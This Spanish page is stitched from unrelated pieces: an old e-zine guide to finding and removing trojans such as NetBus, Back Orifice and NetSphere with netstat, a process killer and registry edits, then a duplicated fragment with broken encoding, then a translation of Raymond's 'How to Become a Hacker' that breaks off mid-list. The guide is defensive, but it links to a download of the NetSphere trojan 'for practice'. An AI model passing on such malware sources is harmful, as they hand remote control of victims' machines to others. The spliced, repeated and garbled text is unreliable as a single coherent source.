C:\WINDOWS\RNAAPP.EXE C:\WINDOWS\TAPISVR.EXE
Estos dos son los que se ejecutaron cuando nos conectamos a Internet. Si los cerramos la conexión se corta y no podremos volver a conectarnos hasta reiniciar la computadora.
Pues bien, ¿qué nos queda?
C:\WINDOWS\PATCH.EXE C:\WINDOWS\WINDOW.EXE C:\WINDOWS\SYSTEM\ .EXE C:\WINDOWS\SYSTEM\NSSX.EXE
¡Ja! se trata ni más ni menos que de ¡cuatro troyanos! Toda una exageración… Nuestra seguridad (la de nuestros archivos) se ve totalmente violada por culpa de cada uno de estos procesos… ¿Cómo podemos estar seguros de que se trata de troyanos? Eso lo explico en el apartado que viene, pero en el caso de estos cuatro, basta con decir que ya son tán famosos que no hace falta hacer las comprobaciones…
C:\WINDOWS\PATCH.EXE
es el maldito patch del NETBUS
C:\WINDOWS\SYSTEM\ .EXE
es el servidor del Back Orifice
C:\WINDOWS\SYSTEM\NSSX.EXE
es el servidor del NetSphere
C:\WINDOWS\WINDOW.EXE
es un troyano, aunque no sé exactamente cuál… (probablemente SubSeven o una versión levemente modificada del NetBus)
Matando a LOS CUATRO podemos continuar navegando tranquilos, ya que el agresor perdió totalmente su poder. PERO CUIDADO, nuestro sistema seguramente fué modificado para que estos programas se ejecuten cada vez que arrancamos, y como el MataProceso no los borra del disco, sino simplemente los erradica de la memoria, no estamos a salvo de que la próxima vez que reiniciemos ¡los troyanos estén nuevamente allí!
Para librarnos de ellos para siempre leamos los siguientes puntos…
Aclaraciones:
Para que el MataProcesos funcione hace falta tener instalados los ‘runtimes’ de Visual Basic 5. Si no los tenés los podés conseguir en:
ftp://ftp.simtel.net/pub/simtelnet/win95/dll/vb500a.zip
o en el mirror: ftp://ftp.cdrom.com/pub/simtelnet/win95/dll/vb500a.zip
2) Mataprocesos y Netstat, suficiente para erradicar cualquier troyano
Existe una aplicación llamada Netstat, y está ubicada en C:\WINDOWS. Con ella y la ayuda del MataProcesos podemos limpiar nuestra PC de troyanos.
Para hacerlo correctamente hay que seguir los siguientes pasos:
a) Nos desconectamos de Internet
b) Cerramos todas las aplicaciones que utilicen conexiones a Internet, por ejemplo: ICQ – Internet Explorer o Netscape – GetRight – Go!Zilla – Telnet – mIRC – MSChat – Outlook – Outlook Express – etc…
c) Ejecutamos el MataProcesos
d) Ejecutamos una ventana de DOS
e) En la línea de comandos del DOS tecleamos “netstat -a” y tomamos nota de todos los “puertos” que aparecen como “abiertos”, estos aparecen en la columna “Dirección local” con el formato: <nombre_de_nuestra_pc>:<puerto>
Por ejemplo, podríamos tener el siguiente listado:

Proto	Dirección local	Dirección remota	Estado
TCP	Donatien:6711	0.0.0.0:0	LISTENING
TCP	Donatien:6776	0.0.0.0:0	LISTENING
TCP	Donatien:30100	0.0.0.0:0	LISTENING
TCP	Donatien:30101	0.0.0.0:0	LISTENING
TCP	Donatien:30102	0.0.0.0:0	LISTENING
TCP	Donatien:1243	0.0.0.0:0	LISTENING
TCP	Donatien:1035	0.0.0.0:0	LISTENING
UDP	Donatien:1035	:

Lo cual significa que tenemos procesos en nuestro ordenador que están esperando conección en los puertos: 6711, 6776, 30100, 30101, 30102, 1234, y 1035.
f) Comenzamos a matar, uno por uno, los procesos que no sabemos que función cumplen. Si matamos alguno que no debíamos, y el ordenador se bloquea, ya sabemos para la próxima vez que ese proceso no es un troyano, y que no hay que matarlo
Ejemplo: decido matar al proceso llamado:
C:\WINDOWS\SYSTEM\NSSX.EXE
que es muy sospechoso…
Acto seguido, volvemos a la ventana de DOS y pedimos otro listado de “Netstat -a”, que nos devuelve lo siguiente:

Proto	Dirección local	Dirección remota	Estado
TCP	Donatien:6711	0.0.0.0:0	LISTENING
TCP	Donatien:6776	0.0.0.0:0	LISTENING
TCP	Donatien:1243	0.0.0.0:0	LISTENING
TCP	Donatien:1035	0.0.0.0:0	LISTENING
UDP	Donatien:1035	:

Por suspuesto!!! Se han cerrado tres puertos!! (30100, 30101 y 30102, que ya no aparecen en el listado) Al estar seguros que NSSX.EXE no pertenece a ningún programa que nosotros hayamos instalado, y de que el sistema continúa ejecutándose sin ningún problema (o sea que no era parte del Windows), podemos cambiarle el nombre al archivo para que no se vuelva a ejecutar la próxima vez que reiniciemos. Para eso usamos el comando “RENAME C:\WINDOWS\SYSTEM\NSSX.EXE C:\WINDOWS\SYSTEM\NSSX.EX_”.
Nótese que tán solo le cambiamos la extensión, para, en caso de habernos equivocado, recuperar el archivo fácilmente.
Podemos renombrar al archivo debido a que ya lo matamos. Si el proceso estuviera ejecutándose no podríamos modificar ni borrar el NSSX.EXE
Otro modo de cambiarle el nombre es ir con el Explorador hasta el directorio C:\WINDOWS\SYSTEM, buscar el archivo NSSX.EXE y situados sobre él presionar F2, escribir el nuevo nombre y .
Ahora, aunque no es del todo indispensable, y no es recomendable para los novatos absolutos, podríamos abrir el registro de windows con el REGEDIT y eliminar la entrada que antes ejecutaba el troyano cada vez que encendíamos la máquina. La entrada está dentro de la rama: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run y es la siguiente: “NSSX” y su valor es “C:\WINDOWS\system\nssx.exe”
Para borrarla basta con marcarla con el mouse, pulsar DEL, y confirmar.
Es importante no andar borrando cualquier cosa del registro. Para aprender más sobre qué es el registro y qué programas ejecuta Windows al arrancar, lean la emisión Nro. 16 de esta misma revista en http://dzone.findhere.com . Allí también aprenderán que la rama del registro “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” no es el unico lugar en el cual un troyano puede asegurarse el ser ejecutado en cada sesión.
El caso de este ejemplo se trataba del famoso NetSphere, un troyano bastante nuevo, que se puede descargar de http://angelfire.com/ar/NetSphere/index2.html . Pueden usarlo para practicar, pero por favor, no sean “Lamers”, no lo usen con otras personas, porque dejarían sus máquinas a merced de cualquiera, y si lo usan con ustedes mismos, tengan en cuenta de que no deben conectarse a Internet mientras tengan el troyano instalado. (justamente, para evitar eso es que explico todo esto).
Sigamos con otro ejemplo, sabemos que la lista del “Netstat -a” es ahora más corta:

Proto	Dirección local	Dirección remota	Estado
TCP	Donatien:6711	0.0.0.0:0	LISTENING
TCP	Donatien:6776	0.0.0.0:0	LISTENING
TCP	Donatien:1243	0.0.0.0:0	LISTENING
TCP	Donatien:1035	0.0.0.0:0	LISTENING
UDP	Donatien:1035	:

Pues bien, ahora procedamos a cerrar el proceso: C:\WINDOWS\WINDOW.EXE
El sistema sigue perfectamente estable, y volvemos a pedir el “Netstat -a” y…

Proto	Dirección local	Dirección remota	Estado
TCP	Donatien:1035	0.0.0.0:0	LISTENING
UDP	Donatien:1035	:

Ohhhhh!! Se han cerrado otros tres puertos! (aclaro que un troyano no necesariamente utiliza 3 puertos, puede utilizar más, o menos).
Próximo paso: renombramos el archivo para que no vuelva a ejecutarse nunca más, vamos a la ventana de DOS, y escribimos: “RENAME C:\WINDOWS\WINDOW.EXE C:\WINDOWS\WINDOW.EX_”
Como ya dije, también podemos eliminar la entrada del registro que lo ejecuta, pero como, habiendo renombrado el archivo, ya no es necesario, lo dejo librado al lector.
Como en mi caso, por experiencia, sé que el puerto 1035 no se trata de un troyano, no voy a continuar matando procesos, pero si tuviera más puertos abiertos, (en el ejemplo que dí al principio había cuatro troyanos y no dos) continuaría haciendolo hasta encontrarlos todos.
Quiero aclarar que no es muy comun que un ordenador esté lleno de troyanos como en estos ejemplos, pero si notan que alguien está molestándolos de un modo extraño cuando entran a Internet, intenten con esta “limpieza”.
Otra aclaración: Si matan procesos que no son troyanos NO HAY PROBLEMA, lo peor que puede ocurrir es que tengan que reiniciar la máquina. Sólo asegurense de no tener archivos sin grabar (como un documento de Word) para no perderlo, al momento de estar haciendo estas comprobaciones.
También cabe aclarar que, aunque yo no conozco ninguno, pueden existir troyanos más “inteligentes”, que no tengan puertos abiertos cuando no estamos conectados, a esos hay que detectarlos por un método diferente, o bien, intentar hacerlo mientras estamos conectados a Internet (aunque en ese caso la cosa se complicaría debido a los demás programas que utilizan Internet -como el ICQ- y abren a su vez sus propios puertos, con lo cual la lista se hace más difícil de interpretar).
Aclaraciones:
Para que el MataProcesos funcione hace falta tener instalados los ‘runtimes’
de Visual Basic 5. Si no los tenÃ©s los podÃ©s conseguir en:

ftp://ftp.simtel.net/pub/simtelnet/win95/dll/vb500a.zip
o en el mirror:

ftp://ftp.cdrom.com/pub/simtelnet/win95/dll/vb500a.zip

2) Mataprocesos y Netstat, suficiente para erradicar cualquier troyano
Existe una aplicacion llamada Netstat, y estara ubicada en C:WINDOWS. Con
ella y la ayuda del MataProcesos podemos limpiar nuestra PC de troyanos.
Para hacerlo correctamente hay que seguir los siguientes pasos:
a) Nos desconectamos de Internet
b) Cerramos todas las aplicaciones que utilicen conexiones a Internet, por
ejemplo: ICQ – Internet Explorer o Netscape – GetRight – Go!Zilla – Telnet -
mIRC – MSChat – Outlook – Outlook Express – etc…
c) Ejecutamos el MataProcesos
d) Ejecutamos una ventana de DOS
e) En la linea de comandos del DOS tecleamos “netstat -a” y tomamos nota de
todos los “puertos” que aparecen como “abiertos”, estos aparecen en la
columna “Direccion local” con el formato:

Cómo convertirse en hacker

2013-01-05T10:31:00.000-08:00

Cómo convertirse en hacker

Tabla de Contenidos

¿Por qué existe este documento?

¿Qué es un hacker?

La actitud del hacker

1. El mundo está lleno de problemas fascinantes que esperan ser resueltos
2. Ningún problema tendría que resolverse dos veces
3. El aburrimiento y el trabajo rutinario son perniciosos
4. La libertad es buena
5. La actitud no es sustituto para la competencia

Habilidades básicas para el hacking

1. Aprende a programar
2. Consigue uno de los Unices libres; aprende a usarlo y a ponerlo en funcionamiento
3. Aprende a usar la Web y a programar en HTML
4. Si no tienes un inglés funcional, apréndelo

Estatus en la cultura hacker

1. Programar software libre
2. Ayudar a probar y depurar software libre
3. Publicar informacion útil
4. Ayudar a mantener en funcionamiento la infraestructura
5. Hacer algo por la cultura hacker en sí misma

La conexión hacker/nerd

Cuestiones de estilo

Otras fuentes de información

Preguntas Frecuentes

¿Por qué existe este documento?

Como editor del Jargon File (el “Archivo de la jerga hacker”) y autor de algunos documentos bien conocidos del mismo tipo, a menudo recibo emails de entusiastas novatos de la Red preguntando: “¿Cómo puedo aprender a ser un hacker mágico?” Triste es decir que no parece haber ninguna FAQ ni documento web que aborde este tema vital, así que aquí va el mío.
Si estás leyendo este documento sin conexión, la version original en línea la puedes encontrar en http://www.tuxedo.org/~esr/faqs/hacker-howto.html.
Nota: hay una lista de Preguntas Frecuentes al final de este documento. Por favor léelo —2 veces— antes de mandarme un email con preguntas acerca de este documento.

Hay disponibles numerosas traducciones de este documento: búlgaro, catalán, chino (simplificado), chino (tradicional), danés, neerlandés, francés, alemán, hebreo, húngaro, indonesio, italiano japonés, coreano, portugués (brasileño), portugués (europeo), ruso, y sueco. Ten en cuenta que, como el contenido de este documento cambia ocasionalmente, dichas traducciones pueden estar desactualizadas en grado diverso.

¿Qué es un hacker?

El Jargon File contiene un montón de definiciones del termino “hacker”, la mayoría basadas en la afición a lo técnico y en el placer de resolver problemas sobrepasando los límites. Si deseas saber cómo convertirte en un hacker, bien, solo 2 puntos son realmente relevantes.
Existe una comunidad, una cultura compartida, de programadores expertos y magos de las redes, cuya historia se remonta décadas atrás a los tiempos de los primeros miniordenadores de tiempo compartido y los tempranos experimentos con ARPAnet. Los miembros de esta cultura crearon el término “hacker”. Los hackers construyeron Internet. Los hackers hicieron de Unix el sistema operativo que es hoy día. Los hackers hacen andar Usenet. Los hackers hacen funcionar la WWW. Si eres parte de esta cultura, si has contribuido a ella y otras personas saben quién eres y te llaman hacker, entonces eres un hacker.
Los mentalidad hacker no está confinada a esta cultura del software. Hay gente que aplica la actitud de hacker a otras cosas, como la electrónica o la música —de hecho, puedes encontrarla en los más altos niveles de cualquier ciencia o arte. Los hackers de software reconocen estos espíritus emparentados en otras partes y pueden llamarlos “hackers” también— y algunos sostienen que la naturaleza hacker es en realidad independiente del medio particular en el cual el hacker trabaja. Sin embargo, en el resto de este documento nos centraremos en las habilidades y actitudes de los hackers de software, y en las tradiciones de la cultura compartida que originó el término “hacker”.
Existe otro grupo de personas que se llaman a sí mismos hackers, pero que no lo son. Son personas (generalmente varones adolescentes) que se divierten irrumpiendo ilegalmente en ordenadores y haciendo “phreaking” en el sistema teléfonico. Los auténticos hackers tienen un nombre para esas personas: “crackers”, y no quieren saber nada de ellos. Los auténticos hackers opinan que la mayoría de los crackers son perezosos, irresponsables y no muy brillantes, y fundamentan su crítica en que ser capaz de romper la seguridad no le hace a uno un hacker, de la misma manera que ser capaz de arrancar un coche con un puente en la llave no le convierte en ingeniero de automotores. Desafortunadamente, muchos periodistas y escritores utilizan erróneamente la palabra “hacker” para describir a los crackers; esto causa enorme irritación a los auténticos hackers.
La diferiencia básica es esta: los hackers construyen cosas; los crackers las destruyen.
Si quieres ser un hacker, continúa leyendo. Si lo que quieres es ser un cracker, ve directo a leer el alt.2600 y prepárate para soportar la dura realidad cuando descubras que no eres tan listo como crees. Y eso es todo lo que voy a decir de los crackers.

La actitud del hacker

Los hackers resuelven problemas y construyen cosas, y creen en la libertad y la ayuda voluntaria mutua. Para ser aceptado como hacker, deberás comportarte como si tuvieras esta actitud en tu interior. Y para comportarte como si tuvieras esta actitud, deberás creerte de verdad dicha actitud.
Pero si piensas en cultivar las actitudes de hacker solo como una forma de ganar aceptación en esta cultura, te estás equivocando. Transformarse en la clase de persona que cree estas cosas es importante para ti —para ayudarte a aprender y mantenerte motivado. Como en todas las artes creativas, el modo más efectivo de transformarse en un maestro es imitar la mentalidad de los maestros —no sólo intelectualmente, sino también emocionalmente.
O como dice el siguiente poema zen moderno:

Para seguir la trayectoria:
mira al maestro,
sigue al maestro,
camina junto con el maestro,
mira a través del maestro,
conviértete en el maestro.

Así que, si quieres ser un hacker, repite lo que sigue hasta que te creas lo que estás diciendo:

1. El mundo está lleno de problemas fascinantes que esperan ser resueltos

Es muy divertido ser un hacker, pero es la clase de diversión que requiere mucho esfuerzo. El esfuerzo requiere motivación. Los atletas triunfadores obtienen su motivación a partir de un tipo de placer físico que surge de trabajar su cuerpo, al forzarse a sí mismos más allá de sus propios límites físicos. De manera similar, para ser un hacker deberás sentir un estremecimiento de tipo primitivo cuando resuelves problemas, afinas tus habilidades y ejercitas tu inteligencia.
Si no eres la clase de persona que te sientes inclinado hacia estas cosas de forma natural, necesitarás poder experimentarlas para llegar a ser un hacker. De no ser así, encontrarás que tu energía para “hackear” se verá agotada por otras distracciones como el sexo, el dinero o la aprobación social.
(Además deberás desarrollar cierta clase de fe en tu propia capacidad de aprendizaje —la creencia de que, aun cuando puedes no saber todo lo que necesitas para resolver un problema, si tomas una parte de él y aprendes desde allí, aprenderás lo suficiente para resolver la siguiente parte, y así, hasta que lo tengas resuelto por completo.)

2. Ningún problema tendría que resolverse dos veces

Los cerebros creativos son un recurso valioso y limitado. No deben desperdiciarse reinventando la rueda cuando hay tantos y tan fascinantes problemas nuevos esperando por allí.
Para comportarte como un hacker, debes creer que el tiempo para pensar que emplean otros hackers es precioso —tanto, que es casi una obligación moral para ti el compartir la información, resolver los problemas y luego exponer la solución de manera que los otros hackers puedan resolver nuevos problemas, en lugar de enfrentarse perpetuamente con los viejos.
(No tienes que pensar que estás obligado a regalar todo tu producto creativo, aunque aquellos hackers que lo hacen son los que obtienen más respeto por parte de los demás hackers. Es consistente con los valores de un hacker venderse lo suficiente para pagar la comida, el alquiler y los ordenadores. También está bien la utilización de estas habilidades de hacker para sostener a la familia, o incluso hacerse rico, siempre que no olvides la lealtad a tu arte y a tus colegas hackers mientras lo haces.)

3. El aburrimiento y el trabajo rutinario son perniciosos

Los hackers (y las personas creativas en general) nunca debieran ser sometidas a trabajos estupidamente repetitivos, porque cuando esto sucede significa que no están haciendo lo único que son capaces de hacer: resolver nuevos problemas. Este desperdicio de talento daña a todo el mundo. Por ello, las tareas rutinarias, repetitivas y aburridas no sólo son desagradables, sino intrínsecamente perversas.
Para comportarte como un hacker, debes creer en esto lo suficiente como para automatizar las tareas rutinarias todo lo que se pueda, no solamente por ti mismo, sino para beneficio de todos los demás (especialmente otros hackers).
(Existe una aparente excepción a esta regla. Los hackers hacen cosas a veces que pueden parecer repetitivas o aburridas a un observador, pero son un ejercicio para lograr claridad mental o para adquirir cierta habilidad u obtener cierta clase de experiencia que no podría conseguirse de otro modo. Pero esto es una elección —ningún ser pensante debiera nunca ser forzado a una situación que les aburra.)

4. La libertad es buena

Los hackers son antiautoritarios por naturaleza. Cualquiera que pueda darte órdenes, puede obligarte a dejar de resolver ese problema que te está fascinando —y, dada la manera como trabajan las mentes autoritarias, encontrarán alguna razón espantosamente estúpida para hacerlo. Por eso, la actitud autoritaria debe ser combatida donde sea que se la encuentre, pues si se la deja te asfixiará, tanto a ti como a otros hackers.
(Esto no es lo mismo que combatir toda autoridad. Los niños necesitan guía, y los criminales, restricciones. Un hacker puede estar de acuerdo en aceptar algún tipo de autoridad para poder obtener algo que desea más que el tiempo que gasta en seguir órdenes. Pero este es un pacto limitado, consciente; la clase de sumisión que desean los autoritarios no está en oferta.)
Los autoritarios prosperan en la censura y el secreto. Y desconfían de la cooperación voluntaria y del intercambio de información —sólo les agrada la cooperación que tienen bajo su control. Así que, para comportarte como un hacker, deberás desarrollar una hostilidad instintiva hacia la censura, el secreto y la utilización de la fuerza o el fraude para someter a adultos responsables. Y deberás estar preparado para actuar en consencuencia.

5. La actitud no es sustituto para la competencia

Para ser un hacker, deberás desarrollar algunas de esas actitudes. Pero tener solo la actitud no te transformará en hacker, como tampoco te puede transformar en un atleta campeón o en estrella del rock. Para transformarte en hacker necesitarás inteligencia, práctica, dedicación y trabajo duro.
Por lo tanto, debes aprender a desconfiar de la actitud y respetar la competencia en todas sus formas. A ningún hacker le gusta perder el tiempo con quienes adoptan la pose de hacker, sino que veneran la competencia —especialmente la competencia al hackear, pero la competencia en cualquier ámbito está bien. Especialmente buena es la competencia en habilidades exigentes que poca gente domina, y la mejor es la competencia en habilidades exigentes que requieren agudeza mental, destreza y concentración.
Si respetas la competencia, disfrutarás desarrollándola en ti mismo —el trabajo duro y la dedicación se transformarán en una especie de juego intenso, y no una rutina. Esa actitud es vital para transformarse en hacker.

Habilidades básicas para el hacking

La actitud hacker es vital, pero más aún lo son las habilidades. La actitud no es sustituto para la competencia, y existe un cierto conjunto de herramientas básicas que debes dominar antes que cualquier hacker sueñe con llamarse así.
Este conjunto de herramientas cambia lentamente a lo largo del tiempo a medida que la tecnología crea nuevas habilidades y descarta otras por obsoletas. Por ejemplo, se incluía la programación en lenguaje máquina, y no se hablaba de HTML hasta hace poco. Pero hacia finales de 1996, está claro que se debe incluir lo siguiente:

1. Aprende a programar

Esta es, por supuesto, la habilidad fundamental del hacker. Si no conoces ningún lenguaje de programacion, recomiendo empezar con Python. Es limpio, bien documentado, y relativamente fácil para novatos. A pesar de ser un buen primer lenguaje, no es un juguete; es muy poderoso, flexible y se adapta bien a grandes proyectos. He escrito un detallado análisis de Python. Hay disponibles buenos tutoriales en el sitio web de Python.
Java es tambien un buen lenguaje para iniciarse en la programación. Es más difícil que Python, pero produce código más rápido que Python. Creo que es un buen segundo lenguaje para aprender.
Pero no creas que podrás ser un hacker, siquiera un programador, si solo conoces un único lenguaje —debes aprender cómo pensar en los problemas de programación de una manera general, independiente de cualquier lenguaje. Para ser un hacker de verdad, precisas llegar al punto en el cual aprendas un lenguaje nuevo en días, relacionando lo que está en el manual con lo que ya sabe de antes. Esto significa que debes aprender varios lenguajes muy diferentes entre sí.
Si deseas meterte seriamente en programación, tendrás que aprender C, la base de Unix. C++ es muy parecido a C; si conoces uno, aprender el otro no te resultará difícil. Sin embargo, ninguno de ellos es bueno para aprender a programar. Y hoy día, cuanto más puedas evitar programar en C, mas productivo serás.
C es muy eficiente, y trabaja bien con los recursos de las maquinas. Desafortunadamente, C obtiene su eficiencia a base de mucho manejo a bajo nivel de los recursos (como la memoria) a mano. Todo esa programación a bajo nivel es muy compleja y propensa a errores, y tendrás que dedicar gran cantidad de tiempo a la depuración de los programas. Con las máquinas de hoy, tan poderosas, esto ya no es tan necesario —es más inteligente usar un lenguaje que use el tiempo de máquina menos eficientemente, pero en cambio use tu tiempo más eficientemente. O sea, Python.
Otros lenguajes de particular importancia para los hackers son Perl y LISP. Perl vale la pena aprenderlo por razones prácticas: es amplísimamente usado por páginas web dinámicas y por sistemas de administración, así que incluso si nunca has escrito en Perl, deberías aprender a leerlo. Mucha gente usa Perl en la forma que yo sugiero usar Python, para evitar la programacion en C en trabajos que no requieran la eficiencia de C. Necesitarás ser capaz de entenderlo.
Vale la pena aprender LISP por una razón diferente — La profunda e iluminadora experiencia que obtendrás cuando finalmente lo logres te hará ser mejor programador el resto de tus días, incluso si no usas LISP mucho. (Puedes obtener fácilmente algo de primera experiencia con LISP escribiendo y modificando los modos de edición del editor Emacs.)
Lo mejor hoy día es aprender estos cinco (Python, Java, C/C++, Perl y LISP). Además de ser estos lenguajes los mas importantes en el hacking, representan muy diversas formas de aproximarse a la programación, y cada uno te educará de diferentes maneras.
No puedo dar instrucciones completas en este documento de cómo puedes aprender a programar —es una habilidad compleja. Pero puedo adelantarte que los libros y los cursos no servirán (muchos, tal vez la mayoría de los mejores hackers, son autodidactas). Puedes aprender las características de los lenguajes —partes de conocimiento— de libros, pero el verdadero conocimiento lo adquieres en la vida real aplicando lo que ya sabes. Lo que sí servirá es a) leer código y b) escribir código.
El aprendizaje de la programación es como aprender a escribir bien en lenguaje natural. La mejor manera de aprender es leer algo de las cosas escritas por los maestros del estilo, luego escribir algunas cosas tú mismo, leer mucho más, escribir un poco más… y repetir esto hasta que lo que escribes empieza a mostrar la clase de fuerza y economía que aprecias en tus modelos.
Antes era difícil encontrar código de buena calidad para leer, porque había pocos programas de cierta magnitud disponibles en código fuente de tal manera que los hackers noveles pudieran meterles mano. Esta situación ha cambiado drásticamente: software de fuente abierta, herramientas de programación libres y sistemas operativos libres (todo ello hecho por hackers) están ampliamente disponibles en la actualidad. Lo que me lleva elegantemente a nuestro siguiente tema…

2. Consigue uno de los Unices libres; aprende a usarlo y a ponerlo en funcionamiento

Asumo que tienes un ordenador personal o puedes acceder a uno (a estos muchachos de hoy día les resulta tan sencillo obtenerlo… ). El paso con mucho más importante que cualquier novato puede dar en el camino de adquirir las habilidades de un hacker es obtener una copia de Linux o alguno de los otros Unices tipo BSD libres, instalarlo en una máquina personal y hacerlo funcionar.
Sí, es cierto que existen otros sistemas operativos en el mundo además de Unix. Pero sólo pueden encontrarse en formato binario —no puedes ni leer el código ni modificarlo—. Si intentas aprender a hackear en una máquina DOS, Windows o en un MacOS te sentirás como si tratas de aprender a bailar con el cuerpo escayolado.
Bajo OS/X es posible, pero solo una parte del del sistema es código de fuente abierta —Es como si estuvieras golpeando un muro de varias capas de cemento, y aparte tienes que ser cuidadoso para no desarrollar el mal hábito de depender del código propietario de Apple. Si te concentras en Unix bajo el capó, puedes aprender cosas mas útiles.
Unix es el sistema operativo de Internet. Si bien puedes aprender a usar Internet sin saber Unix, nunca podrás ser un hacker en Internet sin conocerlo. Por este motivo, la cultura hacker actual está muy centrada en Unix. (Esto no fue siempre así, e incluso la situación le desagrada a algunos de los hackers más veteranos, pero la simbiosis entre Unix e Internet es tan fuerte que hasta la energía de Microsoft parece incapaz de hacerle mella.)
Así que consigue un Unix —personalmente me gusta Linux, pero hay otros (y sí, puedes hacer funcionar Linux y DOS/Windows en la misma máquina). Apréndelo. Hazlo funcionar. Métele mano, anímate. Comunícate en Internet mediante él. Lee el código. Modifícalo. En ese sistema se incluyen las mejores herramientas de programación (que incluyen C, Lisp y Perl) de lo que cualquier sistema operativo de Microsoft ni siquiera podría soñar, además te divertirás y te sumergirás en un caudal de conocimientos de tal magnitud que nunca hubieras imaginado, hasta que en cierto momento, mirando hacia atrás, te darás cuenta que ya eres un maestro hacker consumado.
Si quieres saber más acerca del aprendizaje de Unix, ve a The Loginataka.
Si quieres meter tus manos en Linux, echa un ojo en Dónde puedo obtener Linux.
Puedes encontrar ayuda y recursos de BSD Unix en www.bsd.org.
He escrito sobre los fundamentos básicos de Unix y de Internet.
(Nota: No recomiendo instalar ni Linux ni BSD a solas si eres novato. Para Linux, encuentra un grupo de usuarios local de Linux y pide ayuda; o contáctalo mediante Open Projects Network. LISC mantiene canales IRC donde puedes obtener ayuda.)

3. Aprende a usar la Web y a programar en HTML

La mayoría de las cosas que ha construido la cultura hacker funcionan fuera de la vista del gran público, ayudando en el funcionamiento de fábricas, oficinas y universidades, y carecen de un impacto obvio en la vida de quienes no son hackers. La Web es la única gran excepción, y es tan enorme y brillante este juguete de hackers que incluso los políticos admiten que está cambiando el mundo. Sólo por esta razón (y hay un montón de otras igualmente buenas), debes aprender a trabajar en la Web.
No me estoy refiriendo a aprender a manejar un navegador (cualquiera puede hacer eso), sino que debes aprender a escribir HTML, el lenguaje de marcas de la Web. Si aún no sabes cómo programar, el aprendizaje que implica la escritura de HTML te enseñará algunos de los hábitos mentales que te ayudarán luego con la programación. Así que hazte una página personal. Prueba con XHTML, que es más claro que el clasico HTML. (Existen buenos tutoriales para principiantes en la Web; aquí hay uno.)
Pero no vayas a creer que por tener una página personal estás más cerca de ser un hacker. La Web está llena de páginas personales. La mayoría de ellas son banales, basura sin contenido —basura muy vistosa, pero basura al fin (si deseas saber más sobre este tema, mira en The HTML Hell Page).
Para que valga la pena, tu página debe tener contenido —debe ser interesante y/o útil para los otros hackers. Y esto nos lleva al próximo tema…

4. Si no tienes un inglés funcional, apréndelo

Como estadounidense y hablante nativo de inglés, era reacio a sugerir esto, por si se interpretaba como una suerte de imperialismo cultural. Pero hablantes nativos de otras lenguas me han urgido a que señale que el inglés es el lenguaje con el que trabaja la cultura hacker e Internet, y necesitarás saberlo para funcionar en la comunidad hacker.
Esto es muy cierto. Tiempo atrás, alrededor de 1991, aprendí que muchos hackers que tenían el inglés como segundo idioma lo usaban en discusiones técnicas, incluso cuando compartían su lengua natal; me comentaron que el inglés tiene un vocabulario técnico más rico que cualquier otra lengua y sencillamente por esto era mejor herramienta para el trabajo. Por razones similares, las traducciones de libros técnicos escritos originalmente en inglés son con frecuencia insatisfactorias (si es que se hacen).
Linus Torvalds, un finlandés, comenta su codigo en inglés (al parecer nunca se le ocurrió hacerlo de otra manera). Su fluidez con el inglés ha sido un importante factor en su habilidad para reclutar una comunidad mundial de desarrolladores de Linux. Y esto nos lleva al próximo tema…

Estatus en la cultura hacker

De manera similar a muchas otras culturas sin economía monetaria, el hackerismo se basa en la reputación. Estás intentando resolver problemas interesantes, pero cuan interesantes y buenas son las soluciones que encuentres es algo que sólo tus iguales o superiores técnicamente hablando serán capaces de juzgar.
De acuerdo a esto, cuando juegas el juego del hacker, aprendes a puntuarte principalmente en función de lo que los otros hackers piensan acerca de tus habilidades (este es el motivo por el cual no puedes ser un hacker de verdad hasta que otros hackers te denominen así de manera consistente). Este hecho está empañado por la imagen del hacking como trabajo solitario; también por un tabú cultural hacker (que ahora está decayendo, pero aún es fuerte) que impide que se admita el ego o la validación externa como elementos involucrados en la propia motivación.
Específicamente, el hackerismo es lo que los antropólogos denominan una cultura del don. Adquieres estatus y reputación no mediante la dominación de las otras personas, ni por ser hermoso/a, ni por tener cosas que las otras personas desean, sino por donar cosas. Específicamente, al donar tu tiempo, tu creatividad, y el resultado de tu destreza.
Existen básicamente cinco clases de cosas que puedes hacer para obtener el respeto de los hackers:

1. Escribir software de fuente abierta

Lo primero (lo más central y más tradicional) es escribir programas que los otros hackers opinen que son divertidos o útiles, y donar los fuentes del programa a la cultura hacker para que sean utilizados.
(Solíamos llamarlo free software pero esto confundía a demasiada gente, que no estaban seguros de qué se suponía que significaba free [en inglés, el término free es polisémico y puede significar "libre" o "gratis". En castellano no se da tal ambigüedad por lo que la expresión "software libre" resulta perfectamente adecuada — N. del T.]. La mayoría de nosotros, al menos un ratio 2:1 de acuerdo con los análisis del contenido de la web, ahora preferimos el término software “open source” [En castellano, sin embargo, se sigue usando habitualmente "software libre", aunque en esta versión hemos respetado, como es natural, el cambio en la terminología de Eric, que ha sustituido " free software" por open source en todos sus documentos, y lo hemos traducido por "código de fuente abierta" — N. del T.]).
Los más reverenciados semidioses del hackerismo son las personas que han escrito programas de gran magnitud, con grandes capacidades que satisfacen necesidades de largo alcance, y los donan, de tal manera que cualquiera pueda utilizarlos.

2. Ayudar a probar y depurar software de fuente abierta

También son reconocidas aquellas personas que depuran los errores del software de fuente abierta. En este mundo imperfecto, inevitablemente pasaremos la mayoría de nuestro tiempo de desarrollo en la fase de depuración. Este es el motivo por el cual los desarrolladores de software de fuente abierta piensan que un buen “beta-tester” (probador de versiones beta, alguien que sabe cómo describir claramente los síntomas, que puede localizar correctamente los problemas, que tolera los errores en una entrega apurada, y que está dispuesto a aplicar unas cuantas rutinas sencillas de diagnóstico) vale su peso en oro. Aun contando con un solo probador de estos, puede hacerse que el proceso de depuración pase de ser una prolongada pesadilla que lo deja a uno exhausto a ser sólo una saludable molestia.
Si eres novato, trata de encontrar un programa en desarrollo en el cual estés interesado, y conviértete en un buen probador beta. Hay una progresión natural desde ayudar a probar programas, luego ayudar a depurarlos y más adelante ayudar a modificarlos. Aprenderás un montón de esa manera, y la gente te ayudará en el futuro.

3. Publicar informacion útil

Otra buena cosa que puedes hacer es recopilar y filtrar información útil e interesante y construir páginas web o documentos tipo FAQ (“Preguntas Frecuentes”), y ponerlos a disposición de los demás.
La gente que mantiene las FAQ técnicas más importantes gozan de casi tanto respeto como los autores de software libre.

4. Ayudar a mantener en funcionamiento la infraestructura

